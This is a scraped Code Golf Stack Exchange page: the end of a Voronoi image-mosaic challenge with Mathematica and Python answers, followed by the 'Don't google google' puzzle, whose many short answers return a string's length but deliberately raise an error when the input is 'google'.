[![](https://i.stack.imgur.com/PZfNX.jpg)](https://i.stack.imgur.com/fdUc2.png) [![](https://i.stack.imgur.com/54rfQ.jpg)](https://i.stack.imgur.com/UrXKX.png) [![](https://i.stack.imgur.com/gf771.jpg)](https://i.stack.imgur.com/74Ctw.png) [![](https://i.stack.imgur.com/BZTFs.jpg)](https://i.stack.imgur.com/GzwQe.png) [![](https://i.stack.imgur.com/EGYaZ.jpg)](https://i.stack.imgur.com/mJPML.png) [![](https://i.stack.imgur.com/tBNIj.jpg)](https://i.stack.imgur.com/bBe7l.png) [![](https://i.stack.imgur.com/M52H0.jpg)](https://i.stack.imgur.com/TGa8i.png) [![](https://i.stack.imgur.com/KEFXk.jpg)](https://i.stack.imgur.com/uM0ut.png) [![](https://i.stack.imgur.com/GQllt.jpg)](https://i.stack.imgur.com/XZNwQ.png) [![](https://i.stack.imgur.com/ccRMW.jpg)](https://i.stack.imgur.com/UfGeL.png) [![](https://i.stack.imgur.com/rgBV3.jpg)](https://i.stack.imgur.com/bEE5g.png) [![](https://i.stack.imgur.com/KvYvX.jpg)](https://i.stack.imgur.com/CLfmi.png) [![](https://i.stack.imgur.com/17y4L.jpg)](https://i.stack.imgur.com/p9Zt5.png) [![](https://i.stack.imgur.com/wnv98.jpg)](https://i.stack.imgur.com/xApKb.png) [![](https://i.stack.imgur.com/eZbpq.jpg)](https://i.stack.imgur.com/2HEmS.png) [![](https://i.stack.imgur.com/RT4O7.jpg)](https://i.stack.imgur.com/rhQjr.png) [![](https://i.stack.imgur.com/lng5p.jpg)](https://i.stack.imgur.com/BSpbU.png) [![](https://i.stack.imgur.com/OFpPw.jpg)](https://i.stack.imgur.com/3IDfE.png) [![](https://i.stack.imgur.com/XyHRx.jpg)](https://i.stack.imgur.com/qrn8r.png) [![](https://i.stack.imgur.com/hWQiR.jpg)](https://i.stack.imgur.com/Honl0.png) [![](https://i.stack.imgur.com/AwwYT.jpg)](https://i.stack.imgur.com/ChI7l.png) [![](https://i.stack.imgur.com/uYTIj.jpg)](https://i.stack.imgur.com/MU285.png) [![](https://i.stack.imgur.com/4f5Iq.jpg)](https://i.stack.imgur.com/LUpop.png) [![](https://i.stack.imgur.com/oWdp7.jpg)](https://i.stack.imgur.com/ObYQM.png) [![](https://i.stack.imgur.com/Y6Axx.jpg)](https://i.stack.imgur.com/i3lhD.png) [![](https://i.stack.imgur.com/BkXF8.jpg)](https://i.stack.imgur.com/szbQx.png) [![](https://i.stack.imgur.com/HIWSh.jpg)](https://i.stack.imgur.com/smm9W.png) [![](https://i.stack.imgur.com/2J0ps.jpg)](https://i.stack.imgur.com/RPAyO.png) [![](https://i.stack.imgur.com/Vw4ch.jpg)](https://i.stack.imgur.com/25xPI.png) [![](https://i.stack.imgur.com/LEVUt.jpg)](https://i.stack.imgur.com/zPxxp.png) [![](https://i.stack.imgur.com/TCZdD.jpg)](https://i.stack.imgur.com/HX3BY.png) [![](https://i.stack.imgur.com/UTvjL.jpg)](https://i.stack.imgur.com/0Ptil.png) [![](https://i.stack.imgur.com/FjxsW.jpg)](https://i.stack.imgur.com/fYnZ8.png) [![](https://i.stack.imgur.com/zwUQb.jpg)](https://i.stack.imgur.com/ktvKx.png) [![](https://i.stack.imgur.com/dotIp.jpg)](https://i.stack.imgur.com/W2uO2.png) [![](https://i.stack.imgur.com/QLCx4.jpg)](https://i.stack.imgur.com/Tdcne.png) [![](https://i.stack.imgur.com/zPADs.jpg)](https://i.stack.imgur.com/D0QZK.png) [![](https://i.stack.imgur.com/AhlRI.jpg)](https://i.stack.imgur.com/szv4t.png) [![](https://i.stack.imgur.com/PsOHp.jpg)](https://i.stack.imgur.com/pOxlR.png) [![](https://i.stack.imgur.com/WNYAI.jpg)](https://i.stack.imgur.com/PRdzM.png) # Code ``` VoronoiImage[img_, nSeeds_, iterations_] := Module[{ i = img, edges = EdgeDetect@img, voronoiRegion = Transpose[{{0, 0}, ImageDimensions[img]}], seeds, voronoiInitial, voronoiRelaxed }, seeds = RandomChoice[ImageValuePositions[edges, White], nSeeds]; voronoiInitial = VoronoiMesh[seeds, voronoiRegion]; voronoiRelaxed = Nest[VoronoiMesh[Mean @@@ MeshPrimitives[#, 2], voronoiRegion] &, voronoiInitial, iterations]; Graphics[Table[{RGBColor[ImageValue[img, Mean @@ mp]], mp}, {mp,MeshPrimitives[voronoiRelaxed, 2]}]] ]; ``` [Answer] # Python + SciPy + emcee The algorithm I've used is the following: 1. Resize images to a smallish size (~150 pixels) 2. Make an unsharp-masked image of the maximum channel values (this helps not pick up white regions too strongly). 3. Take the absolute value. 4. Choose random points with a probability proportional to this image. This chooses points either side of discontinuities. 5. Refine the chosen points to lower a cost function. The function is the maximum of the sum of the squared deviations in the channels (again helping bias to solid colours and not only solid white). I've misused Markov Chain Monte Carlo with the emcee module (highly recommended) as an optimiser. The procedure bails out when no new improvement is found after N chain iterations. The algorithm appears to work very well. Unfortunately it can only sensibly run on smallish images. I haven't had time to take the Voronoi points and apply them to the larger images. They could be refined at this point. I could have also run the MCMC for longer to get better minima. The algorithm's weak point is that it is rather expensive. I haven't had time to increase beyond 1000 points and a couple of the 1000 point images are actually still being refined. (right click and view image to get a bigger version) ![Thumbnails for 100, 300 and 1000 points](https://i.stack.imgur.com/MgoDe.png) Links to bigger versions are <https://i.stack.imgur.com/waU38.jpg> (100 points), <https://i.stack.imgur.com/IGTAm.jpg> (300 points) and <https://i.stack.imgur.com/jSIl8.jpg> (1000 points) ``` #!/usr/bin/env python import glob import os import scipy.misc import scipy.spatial import scipy.signal import numpy as N import numpy.random as NR import emcee def compute_image(pars, rimg, gimg, bimg): npts = len(pars) // 2 x = pars[:npts] y = pars[npts:npts*2] yw, xw = rimg.shape # exit if points are too far away from image, to stop MCMC # wandering off if(N.any(x > 1.2*xw) or N.any(x < -0.2*xw) or N.any(y > 1.2*yw) or N.any(y < -0.2*yw)): return None # compute tesselation xy = N.column_stack( (x, y) ) tree = scipy.spatial.cKDTree(xy) ypts, xpts = N.indices((yw, xw)) queryxy = N.column_stack((N.ravel(xpts), N.ravel(ypts))) dist, idx = tree.query(queryxy) idx = idx.reshape(yw, xw) ridx = N.ravel(idx) # tesselate image div = 1./N.clip(N.bincount(ridx), 1, 1e99) rav = N.bincount(ridx, weights=N.ravel(rimg)) * div gav = N.bincount(ridx, weights=N.ravel(gimg)) * div bav = N.bincount(ridx, weights=N.ravel(bimg)) * div rout = rav[idx] gout = gav[idx] bout = bav[idx] return rout, gout, bout def compute_fit(pars, img_r, img_g, img_b): """Return fit statistic for parameters.""" # get model retn = compute_image(pars, img_r, img_g, img_b) if retn is None: return -1e99 model_r, model_g, model_b = retn # maximum squared deviation from one of the chanels fit = max( ((img_r-model_r)**2).sum(), ((img_g-model_g)**2).sum(), ((img_b-model_b)**2).sum() ) # return fake log probability return -fit def convgauss(img, sigma): """Convolve image with a Gaussian.""" size = 3*sigma kern = N.fromfunction( lambda y, x: N.exp( -((x-size/2)**2+(y-size/2)**2)/2./sigma ), (size, size)) kern /= kern.sum() out = scipy.signal.convolve2d(img.astype(N.float64), kern, mode='same') return out def process_image(infilename, outroot, npts): img = scipy.misc.imread(infilename) img_r = img[:,:,0] img_g = img[:,:,1] img_b = img[:,:,2] # scale down size maxdim = max(img_r.shape) scale = int(maxdim / 150) img_r = img_r[::scale, ::scale] img_g = img_g[::scale, ::scale] img_b = img_b[::scale, ::scale] # make unsharp-masked image of input img_tot = N.max((img_r, img_g, img_b), axis=0) img1 = convgauss(img_tot, 2) img2 = convgauss(img_tot, 32) diff = N.abs(img1 - img2) diff = diff/diff.max() diffi = (diff*255).astype(N.int) scipy.misc.imsave(outroot + '_unsharp.png', diffi) # create random points with a probability distribution given by # the unsharp-masked image yw, xw = img_r.shape xpars = [] ypars = [] while len(xpars) < npts: ypar = NR.randint(int(yw*0.02),int(yw*0.98)) xpar = NR.randint(int(xw*0.02),int(xw*0.98)) if diff[ypar, xpar] > NR.rand(): xpars.append(xpar) ypars.append(ypar) # initial parameters to model allpar = N.concatenate( (xpars, ypars) ) # set up MCMC sampler with parameters close to each other nwalkers = npts*5 # needs to be at least 2*number of parameters+2 pos0 = [] for i in xrange(nwalkers): pos0.append(NR.normal(0,1,allpar.shape)+allpar) sampler = emcee.EnsembleSampler( nwalkers, len(allpar), compute_fit, args=[img_r, img_g, img_b], threads=4) # sample until we don't find a better fit lastmax = -N.inf ct = 0 ct_nobetter = 0 for result in sampler.sample(pos0, iterations=10000, storechain=False): print ct pos, lnprob = result[:2] maxidx = N.argmax(lnprob) if lnprob[maxidx] > lastmax: # write image lastmax = lnprob[maxidx] mimg = compute_image(pos[maxidx], img_r, img_g, img_b) out = N.dstack(mimg).astype(N.int32) out = N.clip(out, 0, 255) scipy.misc.imsave(outroot + '_binned.png', out) # save parameters N.savetxt(outroot + '_param.dat', scale*pos[maxidx]) ct_nobetter = 0 print(lastmax) ct += 1 ct_nobetter += 1 if ct_nobetter == 60: break def main(): for npts in 100, 300, 1000: for infile in sorted(glob.glob(os.path.join('images', '*'))): print infile outroot = '%s/%s_%i' % ( 'outdir', os.path.splitext(os.path.basename(infile))[0], npts) # race condition! lock = outroot + '.lock' if os.path.exists(lock): continue with open(lock, 'w') as f: pass process_image(infile, outroot, npts) if __name__ == '__main__': main() ``` Unsharped-masked images look like the following. Random points are selected from the image if a random number is less than the value of the image (normed to 1): ![Unsharped masked Saturn image](https://i.stack.imgur.com/hhEOd.png) I'll post bigger images and the Voronoi points if I get more time. Edit: If you increase the number of walkers to 100\*npts, change the cost function to be some of the squares of the deviations in all channels, and wait for a long time (increasing the number of iterations to break out of the loop to 200), it's possible to make some good images with just 100 points: ![Image 11, 100 points](https://i.stack.imgur.com/DccKW.png) ![Image 2, 100 points](https://i.stack.imgur.com/23zg5.png) ![Image 4, 100 points](https://i.stack.imgur.com/fIdOW.png) ![Image 10, 100 points](https://i.stack.imgur.com/M265O.png) [Answer] ## Using image energy as a point-weight map In my approach to this challenge, I wanted a way to map "relevance" of a particular image area to the probability that a particular point would be chosen as a Voronoi centroid. However, I still wanted to preserve the artistic feel of Voronoi mosaicing by randomly choosing image points. Additionally, I wanted to operate on large images, so I don't lose anything in the downsampling process. My algorithm is roughly like this: 1. For each image, create a sharpness map. The sharpness map is defined by the normalized image energy (or the square of the high frequency signal of the image). An example looks like this: ![Sharpness map](https://i.stack.imgur.com/ESMfns.png) 2. Generate a number of points from the image, taking 70 percent from the points in the sharpness map and 30 percent from all the other points. This means that points are sampled more densely from high-detail parts of the image. 3. Color! ## Results `N` = 100, 500, 1000, 3000 ![Image 1, N = 100](https://i.stack.imgur.com/nJ0i4s.png) ![Image 1, N = 500](https://i.stack.imgur.com/4Ril5s.png) ![Image 1, N = 1000](https://i.stack.imgur.com/7pu0fs.png) ![Image 1, N = 3000](https://i.stack.imgur.com/4NQCjs.png) ![Image 2, N = 100](https://i.stack.imgur.com/FdroH.jpg) ![Image 2, N = 500](https://i.stack.imgur.com/fA2aj.jpg) ![Image 2, N = 1000](https://i.stack.imgur.com/eaDfj.jpg) ![Image 2, N = 3000](https://i.stack.imgur.com/GUuvs.jpg) ![Image 3, N = 100](https://i.stack.imgur.com/PXVUO.jpg) ![Image 3, N = 500](https://i.stack.imgur.com/ZrLjj.jpg) ![Image 3, N = 1000](https://i.stack.imgur.com/dseCx.jpg) ![Image 3, N = 3000](https://i.stack.imgur.com/jYkD3.jpg) ![Image 4, N = 100](https://i.stack.imgur.com/kppOf.jpg) ![Image 4, N = 500](https://i.stack.imgur.com/2RX7H.jpg) ![Image 4, N = 1000](https://i.stack.imgur.com/oAv9a.jpg) ![Image 4, N = 3000](https://i.stack.imgur.com/Egmym.jpg) ![Image 5, N = 100](https://i.stack.imgur.com/9a42s.jpg) ![Image 5, N = 500](https://i.stack.imgur.com/Mz4SW.jpg) ![Image 5, N = 1000](https://i.stack.imgur.com/YrJC4.jpg) ![Image 5, N = 3000](https://i.stack.imgur.com/kxtPW.jpg) ![Image 6, N = 100](https://i.stack.imgur.com/OVtjw.jpg) ![Image 6, N = 500](https://i.stack.imgur.com/CVtPS.jpg) ![Image 6, N = 1000](https://i.stack.imgur.com/DDKzI.jpg) ![Image 6, N = 3000](https://i.stack.imgur.com/FL125.jpg) ![Image 7, N = 100](https://i.stack.imgur.com/2Fv9g.jpg) ![Image 7, N = 500](https://i.stack.imgur.com/8xbsQ.jpg) ![Image 7, N = 1000](https://i.stack.imgur.com/jL71o.jpg) ![Image 7, N = 3000](https://i.stack.imgur.com/nfazb.jpg) ![Image 8, N = 100](https://i.stack.imgur.com/lph5N.jpg) ![Image 8, N = 500](https://i.stack.imgur.com/NDSIO.jpg) ![Image 8, N = 1000](https://i.stack.imgur.com/0yshf.jpg) ![Image 8, N = 3000](https://i.stack.imgur.com/fMji0.jpg) ![Image 9, N = 100](https://i.stack.imgur.com/lJgFy.jpg) ![Image 9, N = 500](https://i.stack.imgur.com/TyCMf.jpg) ![Image 9, N = 1000](https://i.stack.imgur.com/Oiib1.jpg) ![Image 9, N = 3000](https://i.stack.imgur.com/lz4oj.jpg) ![Image 10, N = 100](https://i.stack.imgur.com/ti4Ya.jpg) ![Image 10, N = 500](https://i.stack.imgur.com/kAZ5Q.jpg) ![Image 10, N = 1000](https://i.stack.imgur.com/35zQc.jpg) ![Image 10, N = 3000](https://i.stack.imgur.com/8vrQ7.jpg) ![Image 11, N = 100](https://i.stack.imgur.com/1ezph.jpg) ![Image 11, N = 500](https://i.stack.imgur.com/ZpH59.jpg) ![Image 11, N = 1000](https://i.stack.imgur.com/VFthR.jpg) ![Image 11, N = 3000](https://i.stack.imgur.com/dPgq0.jpg) ![Image 12, N = 100](https://i.stack.imgur.com/jTrOY.jpg) ![Image 12, N = 500](https://i.stack.imgur.com/yI4AI.jpg) ![Image 12, N = 1000](https://i.stack.imgur.com/hWbe9.jpg) ![Image 12, N = 3000](https://i.stack.imgur.com/mSXa2.jpg) ![Image 13, N = 100](https://i.stack.imgur.com/57y5r.jpg) ![Image 13, N = 500](https://i.stack.imgur.com/5IUa5.jpg) ![Image 13, N = 1000](https://i.stack.imgur.com/PyLc0.jpg) ![Image 13, N = 3000](https://i.stack.imgur.com/jKYZQ.jpg) ![Image 14, N = 100](https://i.stack.imgur.com/BSoLQ.jpg) ![Image 14, N = 500](https://i.stack.imgur.com/5NXNL.jpg) ![Image 14, N = 1000](https://i.stack.imgur.com/BVm9r.jpg) ![Image 14, N = 3000](https://i.stack.imgur.com/yNV1i.jpg) ]
[Question] [ We all know that if you google the word "google" it will break the internet. Your task is to create a function that accepts one string and returns its length, in the fewest possible Unicode characters. However, if the given string is `google` (lowercase), it will cause an error. For example, `g('bing')` will return `4` but `g('google')` will cause an error. Please provide an example of usage, and the error if possible. [Answer] ## Python 2, 29 ``` lambda x:len(x)/(x!='google') ``` Gives a `ZeroDivisionError` on `"google"`, and the length otherwise. This takes advantage of Python's booleans equaling `0` and `1`. [Answer] # Excel, 23 characters Paste this into a cell other than A1 and type your search query into A1. ``` =LEN(A1)/(A1<>"google") ``` For example: [![GoogleGoogle](https://i.stack.imgur.com/TseqO.png)](https://i.stack.imgur.com/TseqO.png) [Answer] # C#, 43 bytes An improvement over Salah Alami's answer. Recurses to throw a stack overflow exception on providing "google" ``` int g(string s)=>s!="google"?s.Length:g(s); ``` [Answer] # Pyth, ~~14~~ 13 characters ``` L/lbnb"google ``` Defines a named function `y`. This divides the length by 1 if the string is not *google* and by 0 otherwise. The idea is not novel, but I came up with it independently. [Try it online.](https://pyth.herokuapp.com/?code=L%2Flbnb"google"%0Ayz&input=google) ### How it works ``` L Define y(b): lb Compute len(b). nb"google Compute (b != "google"). / Set _ = len(b) / (b != "google"). Return _. (implicit) ``` [Answer] # MATLAB, ~~63~~ ~~41~~ ~~40~~ ~~38~~ 36 bytes ## Thanks to Tom Carpenter for shaving off 1 byte! ## Thanks to Stewie Griffin for shaving off 2 bytes! ``` @(x)nnz(x(+~strcmp('google',x):end)) ``` Unlike the other more elegant solutions, performing a division by zero operation in MATLAB will not give an error, but rather `Inf`. This solution finds the length of the string by `nnz`. The string that is produced is in such a way that you index from the beginning of the string to the end, which is essentially a copy of the string. However, what is important is that the beginning of where to access the string is produced by checking whether or not the input is equal to `'google'`. If it isn't, this produces a beginning index of 1 and we index into the string normally... as MATLAB starts indexing at 1. Should it be equal, the index produced is 0 and MATLAB will throw an indexing error stating that the index needs to be a positive integer. The extra `+` is to ensure that the output of the equality check is numerical rather than Boolean/`logical`. Omitting the `+` will produce a warning, but because this challenge's specifications doesn't allow for warnings, the `+` is required... thus completing the code. # Example uses ``` >> f=@(x)nnz(x(+~strcmp('google',x):end)) %// Declare anonymous function f = @(x)nnz(x(+~strcmp('google',x):end)) >> f('bing') ans = 4 >> f('google') Subscript indices must either be real positive integers or logicals. Error in @(x)nnz(x(+~strcmp('google',x):end)) ``` --- # A more fun version, ~~83~~ ~~77~~ ~~76~~ ~~74~~ 72 bytes ## Thanks to Tom Carpenter for shaving off 1 byte! ## Thanks to Stewie Griffin for shaving off 2 bytes! ``` @(x)eval('if strcmp(''google'',x),web([x ''.com/i'']);else nnz(x),end'); ``` The above isn't an official submission, but it's something that's a bit more fun to run. Abusing `eval` within anonymous functions, what the code does is that it checks to see if the input string is equal to `'google'`... and if it is, this will open up MATLAB's built-in web browser and shows Google's 404 error page trying to access the subpage located at `i` when that doesn't exist. If not, we display the length of the string normally. # Example uses ``` >> f=@(x)eval('if strcmp(''google'',x),web([x ''.com/i'']);else nnz(x),end'); %// Declare anonymous function >> f('bing') ans = 4 >> f('google') >> ``` The last call using `'google'` gives us this screen: [![enter image description here](https://i.stack.imgur.com/qrUWW.png)](https://i.stack.imgur.com/qrUWW.png) [Answer] # JavaScript ES6, ~~34~~ ~~27~~ 25 characters ``` f=>f=='google'?Δ:f.length ``` Throws a ReferenceError on `Δ` for google. ``` alert((f=>f=='google'?Δ:f.length)('test')) ``` [Answer] # TI-BASIC, 15 bytes Heck, while [we're at it](https://codegolf.stackexchange.com/questions/58891/dont-google-google#comment141887_58895), might as well get a TI-BASIC answer in here. Input format is `"string":prgmNAME`. Credit to [Thomas Kwa](https://codegolf.stackexchange.com/users/39328/thomas-kwa) for finding it first! ``` length(Ans)+log(Ans≠"GOOGLE ``` (Guide: add 1 byte for each lowercase letter replacing an upper-case one. So `s/GOOGLE/google/g => +6 bytes`.) ### ahhhhh test cases! ``` "GOGGLE":prgmG 6 "BING":prgmG 4 "GOOGLE":prgmG Error ``` [Answer] # Python 3, 30 bytes ``` lambda u:[len][u=='google'](u) ``` Indexes the 1-element function list, raising an `IndexError` if the `u=='google'` predicate is `True` (= 1). Such functional. Much variants. Wow: ``` lambda u:[len(u)][u=='google'] lambda u:len([u][u=='google']) ``` > > If the challenge was inverted (error on everything *not* "google"), could save a char: > > > > ``` > lambda u:{'google':len}[u](u) > > ``` > > But you already know the length, so just hardcode it. > > > [Answer] # APL (14) ``` (⍴÷'google'∘≢) ``` Explanation: * `⍴`: length * `÷`: divided by * `'google'∘≢`: argument is not equal to `'google'`. `⍴` gives the length of the string, which is divided by 1 if the string does not equal `google` (which gives the length back unchanged), or by 0 if the string *does* equal `google` (giving an error). [Answer] ## Haskell, 24 bytes `g s|s/="google"=length s` Output: ``` Main> g "google" Program error: pattern match failure: g "google" Main> g "bing" 4 ``` [Answer] # Octave, 63 bytes I know it is longer than the Matlab solution (which would work in Octave too), but it is particularly evil. I am making an anonymous function (evil) using cell array (evil) literals (evil) containing function handles dependent on a callback function (itself, thus recursive, evil) that must be passed via argument. Then I create another anonymous that basically reduces the function to the string argument and fixes the second argument of `f` as `f` (very evil). Any sane human would never do this, because it is almost as unreadable as Perl or regex (or cjam/pyth/any other esolang). So if the string is not 'google' the second argument of the cell array will be called which outputs the length of the string. Otherwise the first function will be called, which is passed as a callback (and passes itself as callback to itself too) which later is the function itself. The error is basically some maximum recursion depth error. ``` f=@(s,f){@()f(s,f),numel(s)}{2-strcmp(s,'google')}();@(s)f(s,f) ``` [Answer] # CJam, 16 characters ``` {_,\"google"=!/} ``` This divides the length by 1 if the string is not *google* and by 0 otherwise. The idea is not novel, but I came up with it independently. [Try it online.](http://cjam.aditsu.net/#code=q%20e%23%20Read%20input%20from%20STDIN.%0A%0A%7B_%2C%5C%22google%22%3D!%2F%7D%0A%0A~%20e%23%20Execute%20the%20function.&input=google) ### How it works ``` _ Push a copy of the string on the stack. , Compute the length of the copy. \ Swap the length and the original string. "google"= Push 1 if the string is "google", 0 otherwise. ! Apply logical NOT. Maps 1 to 0 and 0 to 1. / Divide the length by the Boolean. ``` [Answer] # APL, ~~19~~ 17 bytes ``` {⍵≡'google':⍟⋄≢⍵} ``` This is an unnamed monadic function that will throw a syntax error if the input is `google`. This is accomplished by attempting to take the natural logarithm of nothing. ``` { ⍵≡'google': ⍝ If the right argument is "google"... ⍟⋄ ⍝ Compute log(<nothing>), which brings only sadness ≢⍵ ⍝ Otherwise compute the length } ``` [Try it online](http://tryapl.org/?a=%7B%u2375%u2261%27google%27%3A%u235F%u22C4%u2262%u2375%7D%27bing%27%u22C4%7B%u2375%u2261%27google%27%3A%u235F%u22C4%u2262%u2375%7D%27google%27&run) Saved two bytes thanks to Dennis! [Answer] # JavaScript, 25 Bytes Nice and simple JavaScript example: ``` e=>e!='google'?e.length:g ``` If "google" is entered then it passes a `ReferenceError` Example ``` alert((e=>e!='google'?e.length:g)('test')) ``` [Answer] # R, 46 bytes ``` g=function(x)ifelse(x!="google",nchar(x),) ``` Unless I'm misreading, the original post never specified that the code had to be correct syntax. Example: ``` > g("bing") [1] 4 > g("google") Error in ifelse(x != "google", nchar(x), ) : argument "no" is missing, with no default ``` I never added anything for the "no" parameter of the ifelse statement so it will return an error if this parameter is evoked. [Answer] # Perl, ~~31~~ 29 bytes ``` sub{$_=pop;y///c/!/^google$/} ``` -2b thanks to manatwork Usage: ``` sub{$_=pop;y///c/!/^google$/}->("google") ``` --- If I could get away with a program rather than a function, the following would be valid with only 20 bytes (+1 byte command line) ``` $_=y///c/!/^google$/ ``` Error is division by zero. Explanation: `y///c` returns the length, then `!/^google$/` will return 0 iff input matches 'google'. Usage: ``` perl -p entry.pl input.txt ``` [Answer] # Java 7:~~53~~ 52 Bytes ``` int g(String _){return"google"==_?0/0:_.length();} ``` Above code will throw `ArithmeticException` for division by zero and for any `String` other than `google`. Worth to note that `==` compares reference and won't work for `String` Objects. # Java 8 : 29 Bytes (Based on suggestion given in below comment) ``` s->s=="google"?0/0:s.length() ``` [Answer] ## Haskell - 30 characters ``` g"google"=error"!";g s=length s >g "google" *Exception: ! >g "str" 3 ``` [Answer] # Python 3, 35 bytes ``` lambda n:len(n)if n!='google'else d ``` [Answer] # C++11, 54 (code) + 14 (#include) = 68 Well, division by zero is just undefined behaviour, which I would not call an error. So my approach. ``` #include<ios> [](std::string s){return s!="google"?s.size():throw;}; ``` usage ``` [](std::string s){return s!="google"?s.size():throw;}("google"); ``` [Answer] **C, 66 48** *Original:* ``` int l(long*s){return strlen(s)/((*s&~(-1L<<56))!=0x656c676f6f67);} ``` Using OSX gcc, `l("duck");` returns `4`, `l("google");` causes `Floating point exception: 8`. On other platforms, the constants may need to be adjusted for endianness. *Shorter*: less trickyness, same results. ``` l(int*s){return strlen(s)/!!strcmp(s,"Google");} ``` [Answer] # Ruby, 29 bytes I first came up with something very similar to @Borsunho's first attempt, but mine was slightly longer and he posted his before I was done. Came up with this before his 30 bytes edit :) ``` ->s{s[/^(?!google$).*/].size} ``` Usage examples: ``` $ irb 2.2.1 :001 > f = ->s{s[/^(?!google$).*/].size} => #<Proc:0x007fa0ea03eb60@(irb):1 (lambda)> 2.2.1 :002 > f[""] => 0 2.2.1 :003 > f["bing"] => 4 2.2.1 :004 > f["google"] NoMethodError: undefined method `size' for nil:NilClass from (irb):1:in `block in irb_binding' from (irb):4:in `[]' from (irb):4 from /Users/daniel/.rvm/rubies/ruby-2.2.1/bin/irb:11:in `<main>' ``` --- edit: Two years and some Ruby versions later # [Ruby](https://www.ruby-lang.org/), 25 bytes ``` ->s{+s[/^(?!google$).*/]} ``` Replaced `String#size` with the new unary plus. [Try it online!](https://tio.run/##KypNqvyfZvtf1664Wrs4Wj9Ow14xPT8/PSdVRVNPSz@29n@BQlq0UkZqpVIsF5gJkVWK/Q8A "Ruby – Try It Online") [Answer] # MUMPS, 28 bytes ``` g(s) q $S(s'="google":$L(s)) ``` Usage: ``` >w $$g^MYROUTINE("bing") 4 >w $$g^MYROUTINE("google") <SELECT>g^MYROUTINE ``` Why? Well, `$S[ELECT]` is basically a compact multi-clause if-else statement - almost like a pattern-match in a language like Haskell or Rust. Except... unlike in Haskell or Rust, the patterns aren't checked for exhaustiveness, because the notion of "compile-time safety" is completely alien to MUMPS. So if your input is a pattern you didn't account for, you get a lovely runtime error called `<SELECT>`. [Answer] # JavaScript, 47 bytes Nice and simple. ***Edit:*** Now complies with the rules ``` function f(g){if(g=="google")a;return g.length} ``` ## Testing ### Error thrown ``` function f(g){if(g=="google")a;return g.length} alert(f("Hello")) alert(f("google")) alert(f("hi")) ``` ### No error thrown ``` function f(g){if(g=="google")a;return g.length} alert(f("Hello")) alert(f("bing")) alert(f("hi")) ``` [Answer] # Ruby, ~~34~~ ~~30~~ ~~27~~ 26 ``` ->x{x=='google'?t: x.size} ``` Unknown `t` raises exception. ``` ->x{x=='google'?fail():x.size} ``` Edit: totally readable and obvious version that is shorter... ``` ->x{x[x=~/^(?!google$)/..-1].size} ``` Old: Pretty similar to other ideas it seems. Will raise `ArgumentError` if x is 'google'. [Answer] # C - ~~99 75 67~~ 63 bytes ``` g(char*s){int i=0,j=*s;while(s[i])j^=s[++i];return j^9?i:g(s);} ``` ## Ungolfed: ``` int g(char *s){ int i = 0, j = s[0]; // first char of s while(s[i] != '\0'){ j ^= s[++i]; // j = j XOR [next char] } if(j != 9){ // g^o^o^g^l^e = 9 return i; } else { g(s); // infinite recursion } } ``` Using it: ``` g("bing") // 4 g("duckduckgo") // 10 g("google") // segmentation fault ``` Will return the length if `g XOR o XOR o XOR g XOR l XOR e` isn't `9`, else it will infinite recurse causing a stack overflow. ## How it works I used a (very) crappy hashing algorithm (`a XOR b XOR c ...`) to get a single number from the first six chars of the string. Collision likelyhood is very high, but if we assume the string has to be the name of an actual search engine, then the collision likelyhood is fairly low. So, first we have `i`, which iterates through the string until `s[i]` is `NUL` (0), and while counting the length of the string, the selected char is XOR'd onto `j`, which is initialized to the first char in s. For "google", the result of this operation is 9. The main thing this takes advantage of is the way pointers work in C. A pointer is actually a large number that denotes an address in memory, `&var` will return a pointer to `var`, while `*var` will dereference a pointer (grab the value at that address). Thus, `*s` is equivalent to `s[0]`. I think this is where most beginners get lost, confused and frustrated when it comes to C, like when you try to send a `struct *` to a function that takes `struct *` by sending `&struct_ptr`, which would be a memory address to a memory address, effectively making the compiler give an error such as `function expects 'struct *' but got 'struct **'`. [Answer] # Windows Batch, 118 characters ``` IF /I "%string%"=="google" exit echo %string%> string.txt for %%? in (string.txt) do ( SET /A stringlength=%%~z? - 2 ) ``` Output is %stringlength%. Full code: ``` @echo off del string.txt cls echo Type your string echo. set /p string=String: IF /I "%string%"=="google" goto err echo %string%> string.txt for %%? in (string.txt) do ( SET /A stringlength=%%~z? - 2 ) cls echo %stringlength% pause del string.txt :err color c echo There seems to be an error with your input... pause>nul ``` Modified from Joshua Honig's answer, [here](https://stackoverflow.com/a/8566001/4910495). [Answer] # [Japt](https://github.com/ETHproductions/japt), 14 bytes ``` U¥`goog¤`?Þ:Ul ``` [Try it here!](http://ethproductions.github.io/japt/?v=1.4.3&code=VaVgZ29vZ6RgP946VWw=&input=Imdvb2dsZSI=) ### Explanation ``` U¥`goog¤`?Þ:Ul U // U is the input ¥ // ¥ is the Unicode shortcut for == goog¤ // "google" compressed ` ` // backticks are used to uncompress goog¤ Þ // An undefined variable Ul // l is a built-in that returns the length of U // Implicit: output result of last expression ``` [Answer] # [Zsh](https://www.zsh.org/), 18 bytes ``` <<<$#1>$1 <^google ``` [Try it online!](https://tio.run/##qyrO@F@cWpJfUKKQWlGSmpeSmpKek5/038bGRkXZ0E7FkMsmLj0/Pz0n9f///2AGAA "Zsh – Try It Online") Explanation: * `<<<$#1`: + `$1`: the input + `#`: length + `<<<`: and print it * `>$1`: redirect that output to a file called the input * `^google`: try and find a file with any name other than `google` * `<`: and print its contents So if the file created was called `google`, then no file will be found and an error message will appear. But if the file was called anything else, then its contents is the length of the input, and it will be outputted. [Answer] ## ><>, 55 bytes ``` i:0(?v 31&l~<v0"google"~~.?%2l $v?(2l<S?*=2l=6:+={ &<;n ``` Figured I'd give this a go, not my best golfing attempt or algorithm, though. Not a function per se, but I think that this should still qualify. I'll see if I can edit in a better version. If you're allowed to print the length and then error, here's a 46 byte solution: ``` i:0(?v 2lnl~<v0"google";?% $;?(2l<S?*=2l=6:+={ ``` 49 byte previous solution of this nature: ``` i:0(?v l0nl~<v;!?=7 :;?(2l<S?*=2l=6:+=@@g3 elgoog ``` I'm happy to put up an explanation if there's any interest, and please let me know if there's anything wrong with my answer or if you have golfing suggestions. ]
